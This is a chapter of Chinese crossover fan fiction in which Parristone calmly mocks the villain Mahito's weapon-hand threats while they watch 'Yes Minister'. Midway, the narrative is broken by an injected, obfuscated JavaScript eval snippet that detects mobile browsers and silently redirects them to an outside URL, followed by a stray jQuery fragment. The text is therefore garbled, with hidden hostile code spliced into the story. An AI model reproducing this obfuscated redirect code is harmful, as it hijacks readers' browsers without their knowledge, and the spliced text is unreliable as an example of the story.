44.反派组的虚度日常(三)
作品:《尼特罗会长整顿咒术界》 帕里斯通的高级公寓里,客厅的灯光调得很柔和。
真人大剌剌地躺在沙发上,脚翘在茶几边缘,手里抓着一把薄荷糖,一颗接一颗地往嘴里扔。他今天穿着宽松连帽衫,茂密的蓝发梳成三个马尾,看起来就像个来朋友家蹭吃蹭喝的高中生。
帕里斯通坐在对面的单人沙发上,手里端着一杯白兰地,电视里正放着《是大臣》的某一集。屏幕上的英国官员正在为一封措辞不当的信件焦头烂额,台词密集得像机关枪扫射。
“所以,”帕里斯通忽然开口,眼睛还盯着电视,“你是从人与人之间的恶意里诞生的咒灵?”
真人嚼糖的动作还在继续。
“对啊,”他翻了个身,侧躺着看向帕里斯通,“怎么了?”
帕里斯通抿了一口酒,语气平静得像在讨论天气:“真是遗憾啊。”
真人眨眨眼,表示好奇:“遗憾什么?”
帕里斯通转过头,看向他。那双藏在镜片后的眼睛里有种微妙的光:“因为我是人类,所以能够从人的角度去玩弄人类,遗憾因为物种不同不能互相理解所以你会少了很多乐趣哦。”
真人盯着帕里斯通看了几秒,然后慢慢坐起来。
“帕里斯通,”真人语气里带着一种“你是不是搞错了什么”的困惑,“我还是第一次听见有人这么和我说话,通常好像都是我来充当蛊惑人心的角色才对的。”
真人伸出手。那只手在空气中扭曲、变形、重组,变成了一把电锯。锯齿泛着冷光,发出轻微的嗡鸣。
“你看到这个了吗?”真人晃了晃那只电锯手,电锯离帕里斯通的脸只有几厘米,露出了那种让人一看就知道他对剥夺生命没有丝毫不适的笑容,“这是可以把你切成两半的东西。你多少也该表现一点害怕吧?”
帕里斯通只是通过电锯接着看电视,表情没有任何变化,电锯又变了。
变成了一把刀。刀刃薄而锋利,在灯光下闪着寒光。
“这个可以把你捅成筛子哦。”
刀又变了,变成了一柄剑。剑身修长,剑尖指着帕里斯通的咽喉。
“这个可以一剑把你钉在墙上。”
帕里斯通看着那柄剑,轻轻叹了一口气,然后他笑了,那笑容很轻,但眼睛里有光。
“真人君,你真可爱。”
真人的手僵在半空中,剑尖还指着帕里斯通的喉咙,但他的表情已经完全失去了刚才的威慑力。
“……你说什么?”真人真的怀疑自己是不是幻听了。
“我说,”帕里斯通抿了一口酒,语气温和得像在夸一只撒娇的猫,“你真可爱,拿着刀和电锯威胁人,但眼睛里全是快怕我快怕我的期待。像小孩子拿着玩具枪,等着看对方哇一声配合你一样。”
真人张了张嘴,又闭上,又张开。他被人害怕过,被人憎恨过,被人咒骂过,被人试图消灭过。但从来没被人说过可爱。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236907|197437||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“你、你是不是脑子有问题?”真人大脑开始打结半天终于憋出一句话。
帕里斯通放下酒杯,靠在沙发背上,姿态闲适得好像在闲话家常:“真人君,想让我害怕,你得用心智和我斗。”
帕里斯通嘴角的弧度加深了一点:“用这些没用。就算你真的把我杀了,我也不会害怕。我只会……”
帕里斯通笑容灿烂得像个在分享有趣发现的学者:“看不起你。”
真人瞪着他。看着他那张平静的脸,那双没有波澜的眼睛,那个从容得类似挑衅的笑容。手里的剑慢慢缩回去,变回了一只普通的手,他坐回沙发,抓起一把薄荷糖,用力嚼起来。
“我迟早要杀了你,看看你到底会露出什么表情。”他嘟囔着。
帕里斯通笑了,那笑声很轻,但很愉悦,他端起酒杯,朝电视屏幕示意了一下:“看剧吧,这段很有意思。”
真人瞥了一眼电视。
屏幕上的汉弗莱正在用一连串复杂的从句把伯纳德绕得晕头转向,吉姆·哈克一脸茫然地坐在中间,完全搞不懂发生了什么。
“……他们在说什么?”真人皱眉。
“官场废话,”帕里斯通很熟练地解释,“用复杂的语言包装简单的意图,让人听得云里雾里,最后只能同意他们想让你同意的事。”
真人哼了一声,继续看剧。客厅里安静下来,只有电视里的英式幽默和偶尔的罐头笑声。

